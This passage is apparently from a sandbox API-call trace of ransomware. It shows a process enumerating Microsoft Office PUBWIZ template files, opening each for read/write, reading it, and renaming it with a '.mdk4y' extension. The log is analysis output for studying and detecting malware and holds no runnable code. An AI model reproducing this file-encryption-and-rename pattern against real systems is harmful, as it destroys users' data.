lpFindFileData=0x6c2220) returned 1 [0247.353] AreFileApisANSI () returned 1 [0247.353] GetACP () returned 0x4e4 [0247.353] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FLYER11.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FLYER11.POC", lpUsedDefaultChar=0x37df4c) returned 11 [0247.353] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer11.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0247.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832258500000) returned 1 [0247.355] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x369a8, lpOverlapped=0x0) returned 1 [0247.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832263400000) returned 1 [0247.404] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832263400000) returned 1 [0247.407] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER11.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer11.poc.mdk4y")) returned 1 [0247.410] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0247.410] AreFileApisANSI () returned 1 [0247.410] GetACP () returned 0x4e4 [0247.410] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FLYER98.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FLYER98.POC", lpUsedDefaultChar=0x37df4c) returned 11 [0247.410] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0247.414] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832264400000) returned 1 [0247.414] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe498e, lpOverlapped=0x0) returned 1 [0247.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832273100000) returned 1 [0247.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832273100000) returned 1 [0247.559] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYER98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyer98.poc.mdk4y")) returned 1 [0247.562] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0247.562] AreFileApisANSI () returned 1 [0247.562] GetACP () returned 0x4e4 [0247.562] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FLYERHM.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FLYERHM.POC", lpUsedDefaultChar=0x37df4c) returned 11 [0247.562] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYERHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyerhm.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0247.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832279400000) returned 1 [0247.564] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd988, lpOverlapped=0x0) returned 1 [0247.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832288500000) returned 1 [0247.655] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832288500000) returned 1 [0247.656] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYERHM.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyerhm.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FLYERHM.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\flyerhm.poc.mdk4y")) returned 1 [0247.658] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0247.658] AreFileApisANSI () returned 1 [0247.658] GetACP () returned 0x4e4 [0247.658] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FOLDPROJ.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FOLDPROJ.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0247.658] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0247.660] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832289000000) returned 1 [0247.660] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x56ce, lpOverlapped=0x0) returned 1 [0247.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832307100000) returned 1 [0247.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832307100000) returned 1 [0247.842] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.dpv.mdk4y")) returned 1 [0247.844] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0247.844] AreFileApisANSI () returned 1 [0247.844] GetACP () returned 0x4e4 [0247.844] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FOLDPROJ.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FOLDPROJ.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0247.844] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0247.845] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832307500000) returned 1 [0247.845] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x62c, lpOverlapped=0x0) returned 1 [0247.959] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832318900000) returned 1 [0247.960] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832319000000) returned 1 [0247.960] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FOLDPROJ.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\foldproj.xml.mdk4y")) returned 1 [0247.962] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0247.962] AreFileApisANSI () returned 1 [0247.962] GetACP () returned 0x4e4 [0247.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FORM98.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FORM98.POCML", lpUsedDefaultChar=0x37df4c) returned 10 [0247.962] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FORM98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\form98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0247.963] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832319300000) returned 1 [0247.963] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8c952, lpOverlapped=0x0) returned 1 [0248.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832339700000) returned 1 [0248.167] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832339700000) returned 1 [0248.172] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FORM98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\form98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FORM98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\form98.poc.mdk4y")) returned 1 [0248.174] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0248.174] AreFileApisANSI () returned 1 [0248.174] GetACP () returned 0x4e4 [0248.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FORMCTL.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FORMCTL.POCL", lpUsedDefaultChar=0x37df4c) returned 11 [0248.174] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FORMCTL.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\formctl.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0248.176] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832340600000) returned 1 [0248.176] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x820, lpOverlapped=0x0) returned 1 [0248.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832347400000) returned 1 [0248.244] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832347400000) returned 1 [0248.244] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FORMCTL.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\formctl.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FORMCTL.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\formctl.poc.mdk4y")) returned 1 [0248.246] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0248.248] AreFileApisANSI () returned 1 [0248.248] GetACP () returned 0x4e4 [0248.248] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="FS3BOX.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="FS3BOX.POCC", lpUsedDefaultChar=0x37df4c) returned 10 [0248.248] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FS3BOX.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fs3box.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0248.250] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832348000000) returned 1 [0248.250] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x3b8, lpOverlapped=0x0) returned 1 [0248.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832348100000) returned 1 [0248.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832348100000) returned 1 [0248.251] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FS3BOX.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fs3box.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\FS3BOX.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\fs3box.poc.mdk4y")) returned 1 [0248.253] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0248.253] AreFileApisANSI () returned 1 [0248.253] GetACP () returned 0x4e4 [0248.253] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GIFT.DPV", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GIFT.DPVOC", lpUsedDefaultChar=0x37df4c) returned 8 [0248.253] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0248.255] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832348500000) returned 1 [0248.255] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb0c3, lpOverlapped=0x0) returned 1 [0248.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832349500000) returned 1 [0248.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832349500000) returned 1 [0248.266] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.dpv.mdk4y")) returned 1 [0248.268] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0248.268] AreFileApisANSI () returned 1 [0248.268] GetACP () returned 0x4e4 [0248.268] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GIFT.XML", cchWideChar=8, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GIFT.XML", lpUsedDefaultChar=0x37df4c) returned 8 [0248.268] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0248.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832350000000) returned 1 [0248.270] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x14c8, lpOverlapped=0x0) returned 1 [0248.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832350100000) returned 1 [0248.272] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832350200000) returned 1 [0248.272] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift.xml.mdk4y")) returned 1 [0248.274] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0248.274] AreFileApisANSI () returned 1 [0248.274] GetACP () returned 0x4e4 [0248.274] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GIFT98.POC", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GIFT98.POC", lpUsedDefaultChar=0x37df4c) returned 10 [0248.274] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift98.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0248.276] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832350600000) returned 1 [0248.276] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x22cf4, lpOverlapped=0x0) returned 1 [0248.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832356100000) returned 1 [0248.331] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832356100000) returned 1 [0248.333] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT98.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift98.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GIFT98.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\gift98.poc.mdk4y")) returned 1 [0248.335] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0248.335] AreFileApisANSI () returned 1 [0248.335] GetACP () returned 0x4e4 [0248.335] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GREET11.POC", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GREET11.POC", lpUsedDefaultChar=0x37df4c) returned 11 [0248.336] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREET11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greet11.poc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0248.337] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832356700000) returned 1 [0248.337] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd6314, lpOverlapped=0x0) returned 1 [0248.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832358100000) returned 1 [0248.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832358100000) returned 1 [0248.359] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREET11.POC" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greet11.poc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREET11.POC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greet11.poc.mdk4y")) returned 1 [0248.362] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0248.362] AreFileApisANSI () returned 1 [0248.362] GetACP () returned 0x4e4 [0248.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GREETING.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GREETING.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0248.362] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0248.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832359400000) returned 1 [0248.364] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0248.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832369000000) returned 1 [0248.460] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832369000000) returned 1 [0248.663] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.dpv.mdk4y")) returned 1 [0248.665] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0248.665] AreFileApisANSI () returned 1 [0248.665] GetACP () returned 0x4e4 [0248.665] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="GREETING.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="GREETING.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0248.665] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0248.667] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832389700000) returned 1 [0248.667] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xfb0c, lpOverlapped=0x0) returned 1 [0248.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832389800000) returned 1 [0248.668] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832389800000) returned 1 [0248.669] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\GREETING.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\greeting.xml.mdk4y")) returned 1 [0248.671] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0248.671] AreFileApisANSI () returned 1 [0248.671] GetACP () returned 0x4e4 [0248.671] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADINGBB.DPV", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="HEADINGBB.DPVML", lpUsedDefaultChar=0x37df4c) returned 13 [0248.671] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\HEADINGBB.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\headingbb.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 